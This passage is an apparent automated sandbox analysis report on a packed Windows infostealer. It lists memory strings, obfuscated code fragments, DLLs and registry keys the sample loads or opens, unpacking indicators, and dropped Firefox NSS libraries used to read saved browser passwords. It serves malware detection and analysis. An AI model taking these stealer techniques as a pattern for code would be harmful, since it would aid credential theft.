Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1972391998.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1971770640.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EHDBGDHD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: EHDBGDHD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EHDBGDHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EHDBGDHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EHDBGDHD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EHDBGDHD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EHDBGDHD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KJJECGHJDBFIJJJKEHCB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000003.1794608139.000000001D780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000003.1794608139.000000001D780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17isual
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: EHDBGDHD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: EHDBGDHD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1889655359.0000000029A86000.00000004.00000020.00020000.00000000.sdmp, IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1889655359.0000000029A86000.00000004.00000020.00020000.00000000.sdmp, IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B4835	0_2_009B4835
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F01BD	0_2_008F01BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00934AD0	0_2_00934AD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FA2C0	0_2_009FA2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A6389	0_2_009A6389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00901BBA	0_2_00901BBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FCB11	0_2_008FCB11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084AB39	0_2_0084AB39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092C37D	0_2_0092C37D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092AC86	0_2_0092AC86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00813CC7	0_2_00813CC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00931400	0_2_00931400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092DEFC	0_2_0092DEFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00932F3E	0_2_00932F3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00938726	0_2_00938726

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 005745C0 appears 316 times

Source: file.exe, 00000000.00000002.1972441666.000000006F902000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1972245586.000000006C865000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ydkpwazq ZLIB complexity 0.9945712304808287

Source: file.exe, 00000000.00000003.1723473473.0000000005030000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00589600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00589600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00583720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00583720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\531MLUGT.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1801985630.000000001D778000.00000004.00000020.00020000.00000000.sdmp, BGHJEBKJEGHJKECAAKJK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971681973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1811968 > 1048576

Source: file.exe

Static PE information: Raw size of ydkpwazq is bigger than: 0x100000 < 0x194400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1972391998.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1972391998.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.570000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ydkpwazq:EW;dvoaaauq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ydkpwazq:EW;dvoaaauq:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00589860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00589860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c1f47 should be: 0x1bb236

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ydkpwazq
Source: file.exe	Static PE information: section name: dvoaaauq
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095689C push 18C42D0Eh; mov dword ptr [esp], ebx	0_2_009568FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F38BE push ebp; mov dword ptr [esp], 0998E2B8h	0_2_008F38CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F38BE push 3005CF06h; mov dword ptr [esp], ebx	0_2_008F3937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009398F9 push 7A1E56C4h; mov dword ptr [esp], ebx	0_2_00939901
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058B035 push ecx; ret	0_2_0058B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009608E1 push 3A4BC324h; mov dword ptr [esp], ebx	0_2_00960FA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07031 push ebp; mov dword ptr [esp], 7FEDC3FBh	0_2_00A079EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0500B push eax; mov dword ptr [esp], esi	0_2_00A05027
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0500B push ecx; mov dword ptr [esp], eax	0_2_00A0507C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0500B push 623F0432h; mov dword ptr [esp], ecx	0_2_00A051CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0500B push edx; mov dword ptr [esp], ebp	0_2_00A051DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0500B push 71A5ECCEh; mov dword ptr [esp], ebp	0_2_00A05207
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B8036 push edx; mov dword ptr [esp], esi	0_2_009B8102
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B4835 push ebp; mov dword ptr [esp], ecx	0_2_009B4898
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B4835 push eax; mov dword ptr [esp], 2F2EFBADh	0_2_009B489D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B4835 push ebp; mov dword ptr [esp], 00000004h	0_2_009B4937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B4835 push 7AFC4D4Fh; mov dword ptr [esp], ebp	0_2_009B49E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1B80E push eax; mov dword ptr [esp], 395FB427h	0_2_00A1BD93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AA829 push esi; mov dword ptr [esp], edi	0_2_009AA84E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0381A push ebp; mov dword ptr [esp], ebx	0_2_00A03855
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0381A push 5BA8472Fh; mov dword ptr [esp], esi	0_2_00A0387E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080306A push edx; mov dword ptr [esp], ecx	0_2_00803081
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080306A push ebx; mov dword ptr [esp], 7415FCC1h	0_2_00803093
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098D18E push eax; mov dword ptr [esp], ebx	0_2_0098D192
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB18C push 4E0AB6FDh; mov dword ptr [esp], ebx	0_2_009AB1CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB18C push ecx; mov dword ptr [esp], eax	0_2_009AB211
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F79B4 push esi; mov dword ptr [esp], eax	0_2_009F82DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1E190 push 0724DAD4h; mov dword ptr [esp], ecx	0_2_00A1E11C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1E190 push eax; mov dword ptr [esp], edi	0_2_00A1E287
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F01BD push eax; mov dword ptr [esp], 373381E0h	0_2_008F0208
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F01BD push 79B1AF30h; mov dword ptr [esp], ecx	0_2_008F0308

Source: file.exe

Static PE information: section name: ydkpwazq entropy: 7.9520196155267655

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
